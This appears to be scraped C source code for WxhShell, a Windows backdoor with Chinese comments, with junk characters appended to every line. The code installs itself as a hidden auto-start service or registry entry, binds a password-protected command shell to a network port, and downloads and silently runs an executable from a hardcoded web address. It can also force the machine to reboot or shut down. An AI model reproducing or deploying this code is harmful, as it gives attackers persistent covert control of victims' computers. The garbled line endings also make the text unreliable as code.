    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); / .ddx<  
    if(Boot(SHUTDOWN)) !C$bOhc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,xeJf6es  
    else { t kJw}W1@  
    closesocket(wsh);  KDODUohC  
    ExitThread(0); d?uN6JH9  
    } 2MapB*  
    break; n%J {Tcn6  
    } !b0ANIp  
  // 获取shell ^+m6lsuA  
  case 's': { 1>BY:xZr  
    CmdShell(wsh); ^mA^7jB  
    closesocket(wsh); S?k G|y  
    ExitThread(0); C;C= g1I}  
    break; L93&.d@m9  
  } muc>4!Q  
  // 退出 6pHn%yE*  
  case 'x': { ~RRp5x _  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g]hTz)8fF  
    CloseIt(wsh); Xj^Hy"HC^~  
    break; vCB0 x:/  
    } Y%B:IeF}  
  // 离开 n7r )wy  
  case 'q': { bvK fxAih  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ph;ds+b  
    closesocket(wsh); b;X|[tB  
    WSACleanup(); ).BZPyV<  
    exit(1); ~$O.KF:  
    break; #:y h2y7a%  
        } X?'v FC  
  } (rM-~h6g  
  } ,a&&y0,  
/kLG/ry8l:  
  // 提示信息 PSM~10l,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CSC sJE#4  
} j6NK 7Li  
  } 9 ^G. ]W]  
iIe\mV  
  return; $T)EJe  
} rk$$gXg9/  
z ]@ Q  
// shell模块句柄 bh9!OqK9K  
int CmdShell(SOCKET sock) W.fsW<{4j  
{ h*2NFL~#  
STARTUPINFO si; -f+U:/'.>v  
ZeroMemory(&si,sizeof(si)); :UMtknV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n%M-L[n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {Gd<+tQg  
PROCESS_INFORMATION ProcessInfo; zuq7 x7  
char cmdline[]="cmd"; :slVja$e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -/k;VT|  
  return 0; ]~!jf  
}  yO7xAb  
)_vE"ryThA  
// 自身启动模式 m3cO { 1I  
int StartFromService(void) 23F<f+2S  
{ 01 vEt  
typedef struct J(%Jg  
{ 9 2e?v8  
  DWORD ExitStatus; &K1\"  
  DWORD PebBaseAddress; o:E_k#Fi  
  DWORD AffinityMask; <K$X>&Ts  
  DWORD BasePriority; ? x*Ve2+]  
  ULONG UniqueProcessId; 7~2/NU?  
  ULONG InheritedFromUniqueProcessId; O[tOpf@s.  
}   PROCESS_BASIC_INFORMATION; ]Tb ?k+a  
Vh.9/$xQ  
PROCNTQSIP NtQueryInformationProcess; ^X&n-ui   
7(q EHZEr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WxN@&g(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rW~hFSrV[o  
eC9nOwp]xH  
  HANDLE             hProcess; h;^H*Y&`  
  PROCESS_BASIC_INFORMATION pbi; 2W}f|\8MX  
M7\; Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7nzNBtk  
  if(NULL == hInst ) return 0; C;u8qVI  
,r&:C48 dI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Eagl7'x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "I)*W8wTn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dKOW5\H'  
^^ Q'AE  
  if (!NtQueryInformationProcess) return 0; \Kx@?,  
&I&:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u9t@%H)lZ  
  if(!hProcess) return 0; `*A!vO8  
5BL4VGwJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Lq&;`)BJ  
Z/|oCwR  
  CloseHandle(hProcess); M!{;:m28X!  
O3?3XB> <  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hU:M]O0uw  
if(hProcess==NULL) return 0; [@l:C\2  
j2U iZLuV  
HMODULE hMod; bVB_KE  
char procName[255]; iK#5nY].  
unsigned long cbNeeded; Q\P?[i]  
@E(_H$|E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (5^bU<  
@AXRKYQ{t  
  CloseHandle(hProcess); +YL9gNN>P  
ZQZBap"  
if(strstr(procName,"services")) return 1; // 以服务启动 Po%+:0oX  
@_gCGI>Q  
  return 0; // 注册表启动 x >u \  
} r[>=iim  
i|z=q  
// 主模块 m.F \Mn  
int StartWxhshell(LPSTR lpCmdLine) <.DFa/G   
{ kl0!*j  
  SOCKET wsl; ;3nR_6\  
BOOL val=TRUE; q'07  
  int port=0; )zFPf]gz  
  struct sockaddr_in door; &8l"Dl  
n/ \{}9   
  if(wscfg.ws_autoins) Install(); ,qx;kJJ  
B,@<60u  
port=atoi(lpCmdLine); _TB,2 R  
;*3OkNxa3  
if(port<=0) port=wscfg.ws_port; l5> H\  
JGJXV3AT  
  WSADATA data; =F(fum;zH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qjK'sge/  
tD G[}j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    H %Cb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E3pnu.;U:_  
  door.sin_family = AF_INET; mfYY?]A*+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )1PZ#  
  door.sin_port = htons(port); >)/,5VSE  
/rKdxsI*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2wHvHH!  
closesocket(wsl); 7J 0=HbH  
return 1; Q7 dXTS4H  
} X*Ibk-PUM  
!`u  
  if(listen(wsl,2) == INVALID_SOCKET) { SDdefB  
closesocket(wsl); *rY@(|  
return 1; ~1x,m.f8  
} `/zx2Tkk  
  Wxhshell(wsl); a(+.rf;  
  WSACleanup(); ?2Q9z-$  
W?a{3B   
return 0; j@JhxCe1+R  
uR|?5DK  
} 6Un61s  
-h5yg`+1N\  
// 以NT服务方式启动 Q(P'4XCm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) th@a./h"  
{ 6x1 !!X+)+  
DWORD   status = 0; .qjVw?E  
  DWORD   specificError = 0xfffffff; s 0}OsHAj  
@yBg)1AL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &3 QdQ n,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QJBzv|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  2 EG`  
  serviceStatus.dwWin32ExitCode     = 0; *O>OHX  
  serviceStatus.dwServiceSpecificExitCode = 0; n:hHm,  
  serviceStatus.dwCheckPoint       = 0; ~! *xi  
  serviceStatus.dwWaitHint       = 0; < a g|#  
M;BDo(1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NVEjUt/  
  if (hServiceStatusHandle==0) return; +- ~:E_G  
WaU+ZgDrG  
status = GetLastError(); W`baD!*  
  if (status!=NO_ERROR) &kR+7  
{ taS2b#6\+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BPp`r_m8w}  
    serviceStatus.dwCheckPoint       = 0; W/(D"[:l%  
    serviceStatus.dwWaitHint       = 0; 3Un{Q~6h  
    serviceStatus.dwWin32ExitCode     = status; d$>TC(E=t  
    serviceStatus.dwServiceSpecificExitCode = specificError; <kQ 5sG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rJ LlDKP-(  
    return; }GIwYh/  
  } UL81x72O  
mv7><C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OnNWci|7  
  serviceStatus.dwCheckPoint       = 0; #~A(%a  
  serviceStatus.dwWaitHint       = 0; KeU|E<|!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,o $F~KPu  
} e rz9CX  
"<c^`#CWuO  
// 处理NT服务事件,比如:启动、停止 <a)B5B>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "}_b,5lkGK  
{ 'z=WJV;Vs  
switch(fdwControl) T3HAr9i%)  
{ <qG4[W,[  
case SERVICE_CONTROL_STOP: T#;W5<"  
  serviceStatus.dwWin32ExitCode = 0; #) eI]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8]@)0q {r  
  serviceStatus.dwCheckPoint   = 0; [>5<&[A  
  serviceStatus.dwWaitHint     = 0; #;9I3,@/Y  
  { ?2hS<qXX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ekb9=/  
  } ~H[  
  return; + .Pv:7gh  
case SERVICE_CONTROL_PAUSE: {Y>5 [gp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G ZxM44fP  
  break; a;=)`  
case SERVICE_CONTROL_CONTINUE: 6jv_j[[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d~bZOy  
  break; XLEEd?Vct9  
case SERVICE_CONTROL_INTERROGATE: {!? @u?M  
  break; !N\<QRb\q  
}; _zAHN0d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R+'$V$g\X  
} w! J|KM  
T&M*sydA  
// 标准应用程序主函数 ?C( ' z7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ) >_xHc?  
{ Vu @2  
&`#k 1t'  
// 获取操作系统版本 VrV )qfG  
OsIsNt=GetOsVer(); zV)(i<Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K gN=b  
RrFq"  
  // 从命令行安装 F32N e6Y6"  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8v$ 2*$  
XJx$HM&0M  
  // 下载执行文件 $uw[X  
if(wscfg.ws_downexe) { )e#KL$B)v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  =fJDFg  
  WinExec(wscfg.ws_filenam,SW_HIDE); !Zo we*`  
} (mO{ W   
?hqHTH:PU  
if(!OsIsNt) { 1J`<'{*  
// 如果时win9x,隐藏进程并且设置为注册表启动 #6t 4 vJ1  
HideProc(); "r!>p\.0O  
StartWxhshell(lpCmdLine); #w%d  
} )7$1Da|.  
else p`/"e<TP  
  if(StartFromService()) !n;0%"(FH  
  // 以服务方式启动  HaJs)j  
  StartServiceCtrlDispatcher(DispatchTable); 9Fo00"q  
else xC3h m  
  // 普通方式启动 {1 VHz])I  
  StartWxhshell(lpCmdLine); T1$fu(f  
BZS%p  
return 0; |l4tR  
} K|i:tHF]@  
V=$ pXpro%  
9CBKU4JQ  
r7Vt,{4/  
=========================================== w}8 ,ICL  
tcDWx:Q  
t0*kL.  
fQW1&lFT  
0P{^aSxTP  
U2v;[>=]  
" [HRry2#s  
\a<7DTV  
#include <stdio.h> e"Y ( 7<  
#include <string.h> :;Lt~:0b~  
#include <windows.h> 2C6o?*RjyY  
#include <winsock2.h> mLEJt,X  
#include <winsvc.h> v'Y0|9c  
#include <urlmon.h> &a;{ed1B  
Ro}7ERA  
#pragma comment (lib, "Ws2_32.lib") ~]sj.>P  
#pragma comment (lib, "urlmon.lib") nt 9LBea  
zd%n)jlwR  
#define MAX_USER   100 // 最大客户端连接数 Lud[.>i  
#define BUF_SOCK   200 // sock buffer f ZEyXb  
#define KEY_BUFF   255 // 输入 buffer A-n@:` n~  
 Mi>!  
#define REBOOT     0   // 重启 ZmLA4<  
#define SHUTDOWN   1   // 关机 pZE}<EX  
QN4{xf:}S  
#define DEF_PORT   5000 // 监听端口 [b2KBww\  
.uh>S!X, ]  
#define REG_LEN     16   // 注册表键长度 ]%%I=r  
#define SVC_LEN     80   // NT服务名长度 Z\YCjs%  
B$=oU   
// 从dll定义API /)%$xi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]_"c_QG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X!aC6gujOH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @AB}r1E2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CpE LLA<  
(DLk+N4UHA  
// wxhshell配置信息 ?-Qq\D^+  
struct WSCFG { `EXo=Dqc  
  int ws_port;         // 监听端口 aru;yR  
  char ws_passstr[REG_LEN]; // 口令 C Oc,  
  int ws_autoins;       // 安装标记, 1=yes 0=no $_cO7d  
  char ws_regname[REG_LEN]; // 注册表键名 *VUD!`F  
  char ws_svcname[REG_LEN]; // 服务名 H=/;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Sg&0a$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e/7rr~"|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;\'d9C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7 @W}>gnf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Io;x~i09K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 < )qJI'u|  
?&`PN<~2z  
}; Ad}Nc"O  
&GfDo4$  
// default Wxhshell configuration N9dx^+\  
struct WSCFG wscfg={DEF_PORT, `{oFdvL~)  
    "xuhuanlingzhe", 5cUz^ >  
    1, &Z3u(Eb  
    "Wxhshell", =x xN3Ay  
    "Wxhshell", MdC}!&W  
            "WxhShell Service", `i `F$;  
    "Wrsky Windows CmdShell Service", +=Y[RCXT  
    "Please Input Your Password: ", l cX'n8/3  
  1, Qi=pP/Y  
  "http://www.wrsky.com/wxhshell.exe", "Wb>y*S   
  "Wxhshell.exe" Q4Zw<IZv5  
    }; H2jF=U"=  
 * Cj<Vy  
// 消息定义模块 g1H$wU3eu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; APJVD-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !MyCxM6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9cIKi#Bl  
char *msg_ws_ext="\n\rExit."; p!o?2Lbiw  
char *msg_ws_end="\n\rQuit."; ip+?k<]z  
char *msg_ws_boot="\n\rReboot..."; yC:C  
char *msg_ws_poff="\n\rShutdown..."; RM3"8J  
char *msg_ws_down="\n\rSave to "; uFUVcWt  
a5k![sw\  
char *msg_ws_err="\n\rErr!"; p 2>\  
char *msg_ws_ok="\n\rOK!"; W9rmAQjn  
 &*Z"r*  
char ExeFile[MAX_PATH]; Z?f-_NHg  
int nUser = 0; O}-+o1  
HANDLE handles[MAX_USER]; shZEE2Dr  
int OsIsNt; "$I8EW/1  
FyhLMW3  
SERVICE_STATUS       serviceStatus; :!QT ,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5M&<tj/[a0  
6no&2a|D  
// 函数声明  ~LF/wx>  
int Install(void); HkQ rij6  
int Uninstall(void); z.T>=C  
int DownloadFile(char *sURL, SOCKET wsh); >^~W'etX|  
int Boot(int flag); 9 gc0Ri[4m  
void HideProc(void); )i^ S:2  
int GetOsVer(void); adn2&7H  
int Wxhshell(SOCKET wsl); `'E(L&  
void TalkWithClient(void *cs); zHX7%x,Cq  
int CmdShell(SOCKET sock); h]vu BHJ}  
int StartFromService(void); "oT&KW   
int StartWxhshell(LPSTR lpCmdLine); &?H`MCv t  
adtgNwg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %BwvA_T'Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M nnVk=  
WkMB  
// 数据结构和表定义 P_.zp5>  
SERVICE_TABLE_ENTRY DispatchTable[] = o_sb+Vn|  
{ $/kZKoF{f  
{wscfg.ws_svcname, NTServiceMain}, Tg@:mw5  
{NULL, NULL} xyrlR;Sk  
}; SUb:0GUa  
,Ma%"cWVC  
// 自我安装 NtG^t}V  
int Install(void) `D?  &)Y  
{ #G]g  
  char svExeFile[MAX_PATH]; O %1uBc  
  HKEY key; T(=Z0M  
  strcpy(svExeFile,ExeFile); V` 4/oM`  
Gm[XnUR7V  
// 如果是win9x系统,修改注册表设为自启动 6Qn};tbnD  
if(!OsIsNt) { ?s@=DDB\u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { blKF78  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]64pb;w"$D  
  RegCloseKey(key); =eQ'^3a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ROJ=ZYof  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cKB1o0JsYJ  
  RegCloseKey(key); ckkm}|&m  
  return 0; ID~}pEQ  
    } fD*jzj7o ,  
  } &S=xSs:q.  
} gn:&akg  
else { P>hR${KE  
Hy b_> n  
// 如果是NT以上系统,安装为系统服务 owzcc-g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R9-Uoc/  
if (schSCManager!=0) 9*S9~  
{ cDq*B*e  
  SC_HANDLE schService = CreateService IOY<'t+  
  ( *&~(>gNF,  
  schSCManager, ,0@QBr5P  
  wscfg.ws_svcname, 6f^IAa|  
  wscfg.ws_svcdisp, M%bD7naBq  
  SERVICE_ALL_ACCESS, {ceY:49  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mq+x=  
  SERVICE_AUTO_START, {n{-5Y  
  SERVICE_ERROR_NORMAL, S|O#KE  
  svExeFile, ap<r )<u  
  NULL, D$Ao-6QE W  
  NULL, bR<XQHl  
  NULL, 1Q7]1fRu  
  NULL, %-L T56T  
  NULL d^Rea8  
  ); m[nrr6 G"  
  if (schService!=0) o|APsQE  
  { ~?Zm3zOCc2  
  CloseServiceHandle(schService); |`'WEe2  
  CloseServiceHandle(schSCManager); K(AZD&D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z3f}'vr  
  strcat(svExeFile,wscfg.ws_svcname); H`4KhdqR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { riQ0'-p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {$I1(DYN  
  RegCloseKey(key); L=gG23U&  
  return 0; qS?^(Vt|R  
    } ! u9LZ  
  } ;( (|0Xa  
  CloseServiceHandle(schSCManager); \s6 VOR/  
} z,RjQTd  
} CQs,G8 \/  
p@eW*tE  
return 1; C,B{7s0-  
} mM'uRhO+  
mZ g'  
// 自我卸载 C6qGCzlG`  
int Uninstall(void) A+Kp ECP  
{ -ZoAbp$  
  HKEY key; U lPhW~F)  
y;f nC5Q  
if(!OsIsNt) { Zd]ua_)I%[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M63t4; 0A  
  RegDeleteValue(key,wscfg.ws_regname); )O8w'4P5  
  RegCloseKey(key); -0+h&CO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  63VgQ  
  RegDeleteValue(key,wscfg.ws_regname); IeAi'  
  RegCloseKey(key); p: u@? k  
  return 0; l4 YTR4D  
  } y>c Yw!  
} y m?uj4I{  
} H-3*},9  
else { /}k?Tg/  
)BZ6QO`5n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sY* qf=  
if (schSCManager!=0) h#Z~x  
{ B.}j1 Bb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zd=N.  
  if (schService!=0) esd9N'.Q*  
  { 2BO"mc<#$  
  if(DeleteService(schService)!=0) { 7 b{y  
  CloseServiceHandle(schService); 1aezlDc*  
  CloseServiceHandle(schSCManager); {[bB$~7Eu  
  return 0; v7<r- <I[  
  } %>1C ($^  
  CloseServiceHandle(schService); 4JL]?75  
  } @v/ 8}n  
  CloseServiceHandle(schSCManager); |$[.X3i  
} 'M fVZho{  
} 8peK[sz  
@=K*gbq5  
return 1; q:m qA$n  
} :Aj[#4-=   
+A1xqOB  
// 从指定url下载文件 !.7m4mKzo  
int DownloadFile(char *sURL, SOCKET wsh) NYeL1h)l  
{ dvLL~VP  
  HRESULT hr; 2^)_XVX1  
char seps[]= "/"; -kb;h F}.  
char *token; ^xq)Q?[{  
char *file; c1<jY~U  
char myURL[MAX_PATH]; ,uZz?7mO  
char myFILE[MAX_PATH]; 1cV0TUrz  
Y]Zp[!  
strcpy(myURL,sURL); $PMD$c  
  token=strtok(myURL,seps); bQHJ}aCi  
  while(token!=NULL) =<Ss&p>  
  { Y ^5RM  
    file=token; q& esI  
  token=strtok(NULL,seps); a``Q}.ST  
  } VqS1n  
VP^{-mDph  
GetCurrentDirectory(MAX_PATH,myFILE); awSi0*d~  
strcat(myFILE, "\\"); vb$i00?  
strcat(myFILE, file); _xM3c&VeG  
  send(wsh,myFILE,strlen(myFILE),0); 7b(r'b@N  
send(wsh,"...",3,0); PQ" v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @eP(j@(^  
  if(hr==S_OK) {m" I-VF  
return 0; w}?,N  
else < fYcON  
return 1; fz rH}^  
#(-?i\i  
} oTveY  
UW&K\P  
// 系统电源模块 ~I@ % ysR  
int Boot(int flag) ~sTn?~  
{ oot kf=  
  HANDLE hToken; 1$ENNq#0  
  TOKEN_PRIVILEGES tkp;  kZ=yb-~  
K*5Ij]j&  
  if(OsIsNt) { Y r8gKhv W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /U="~{*-R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e'~<uN>  
    tkp.PrivilegeCount = 1; W,.Exh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c#a>> V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (]$&.gE.F  
if(flag==REBOOT) { +u3vKzD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pz]KUQ  
  return 0; <q=]n%nX  
} v>5TTL~?  
else { d6A+pa'2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?$=Ml$  
  return 0; CL5t6D9Qi  
} \j0016;  
  } \o5/, C  
  else { *a` _,Q{x  
if(flag==REBOOT) { 3*e )D/lm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,PX7}//X^  
  return 0; uC?/p1  
} T5aeO^x  
else { "MDy0Tj8EN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X`7O%HiX/`  
  return 0; Hm_&``='  
} R".*dC,0'B  
} [k=LX+w@  
Kk>va->R  
return 1; #^w8Y'{?  
} 7 ;x to =  
QPW+L*2  
// win9x进程隐藏模块 :~~\{fm  
void HideProc(void) :-j/Y'H_  
{ /Tp>aW%}"  
+[#^c3x2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fAD {sg  
  if ( hKernel != NULL ) B";Dj~y  
  { qcfg 55]'c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jNAboSf2Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c/,B?  
    FreeLibrary(hKernel); u4Z Accj  
  } on f7V  
]"i^ VVw  
return; #3YYE5cB  
} ]gVW&3ZW  
i7`/"5I  
// 获取操作系统版本 Yz>8 Nn'_  
int GetOsVer(void) ZU5;w  
{ 6g"qwWZp  
  OSVERSIONINFO winfo; <4*)J9V^s=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )NlxW5  
  GetVersionEx(&winfo); Cp#}x1{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PBAQ KQ  
  return 1; E\VKlu4  
  else .WlZT-  
  return 0; MwWN;_#EO)  
} NZuylQ)0  
D/tFN+|P  
// 客户端句柄模块 cFoeyI#v  
int Wxhshell(SOCKET wsl) bJL,pe+u  
{ /%P,y+<}iG  
  SOCKET wsh; ;z9U_  
  struct sockaddr_in client; 8VMD304  
  DWORD myID; "O%xQ N  
#G("Oh  
  while(nUser<MAX_USER) jC'Diu4|Q  
{ y9 K'(/  
  int nSize=sizeof(client); "SV/'0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .;37 e  
  if(wsh==INVALID_SOCKET) return 1; 3_Mynop  
\5F {MBx !  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U.J/ "}5`T  
if(handles[nUser]==0) ,sn 9&E  
  closesocket(wsh); ZV`o: Gd  
else { ?]&P  
  nUser++; q`@8  
  } % &i Wc_"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f:h<tlob  
!3Q^oR  
  return 0; 2bTM0-  
} 3NrWt2?  
oTf^-29d  
// 关闭 socket 6"V86b0)h}  
void CloseIt(SOCKET wsh) z_87 ;y;=  
{ Uy$?B"Z  
closesocket(wsh); 9j$J}=y  
nUser--; s5oU  
ExitThread(0); Yu|L6#[E  
} Y NGS"3F  
9S{0vc/2@  
// 客户端请求句柄 <is%lx(GDX  
void TalkWithClient(void *cs) z5t"o !  
{ zG~nRt{4  
|$c~Jq  
  SOCKET wsh=(SOCKET)cs; #mc6;TRZO  
  char pwd[SVC_LEN]; qZX\riR  
  char cmd[KEY_BUFF]; vFsl]|<;8  
char chr[1]; j.UO>1{7  
int i,j; ./}W3  
J\\o# -H  
  while (nUser < MAX_USER) { 5}`e"X  
VRz9;=m  
if(wscfg.ws_passstr) { {_X&{dZLX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >2K:O\&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >~\CiV4^  
  //ZeroMemory(pwd,KEY_BUFF); 7R>Pk9J  
      i=0; @%[ VegT  
  while(i<SVC_LEN) { r#WAS2.TP  
q#.+P1"U  
  // 设置超时 P6;Cohfh  
  fd_set FdRead; p}h9>R  
  struct timeval TimeOut; 3 ~\S]  
  FD_ZERO(&FdRead); `6y\.6j  
  FD_SET(wsh,&FdRead); axdRV1+s  
  TimeOut.tv_sec=8; xMo'SpVz:  
  TimeOut.tv_usec=0; ?4lDoP{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B0:/7Ld$Ml  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ml9  
f=nVK4DuZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i UW.$1l  
  pwd=chr[0]; G0v<`/|>}  
  if(chr[0]==0xd || chr[0]==0xa) { sQ%gf  
  pwd=0; K?acRi  
  break; S$ 91L  
  } Z;J{&OJ3qM  
  i++; (c9!:  
    } @]B 7(j<'R  
C9E@$4*  
  // 如果是非法用户,关闭 socket t}-rN5GO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R?+:Js/  
} H?j!f$sw  
r#/Bz5Jb*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C07U.nzh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ftbOvG/ I  
(Kaunp5_`  
while(1) { K"9V8x3Wg  
y`-5/4  
  ZeroMemory(cmd,KEY_BUFF); Qb&gKQtt@  
F[==vte|  
      // 自动支持客户端 telnet标准   RTvzS]  
  j=0; oHkjMqju  
  while(j<KEY_BUFF) { 1<3!   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); = j S  
  cmd[j]=chr[0]; !gFUC<4bu  
  if(chr[0]==0xa || chr[0]==0xd) { kIYV%O   
  cmd[j]=0; &p:GB_  
  break; N!^5<2z@eT  
  } ]LZ,>v  
  j++; I xE }v%&  
    } iU a `<  
Ems0"e  
  // 下载文件 kK$*,]iCp  
  if(strstr(cmd,"http://")) { y,=TB#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *p7_rY  
  if(DownloadFile(cmd,wsh)) \x+"1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ajALca4  
  else {AMoE +U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M]M(E) *5  
  } U Zc%XZ`"V  
  else { ouR(l;  
gPg2Ve0Qy  
    switch(cmd[0]) { nW `EBs  
  TGu]6NzyZ  
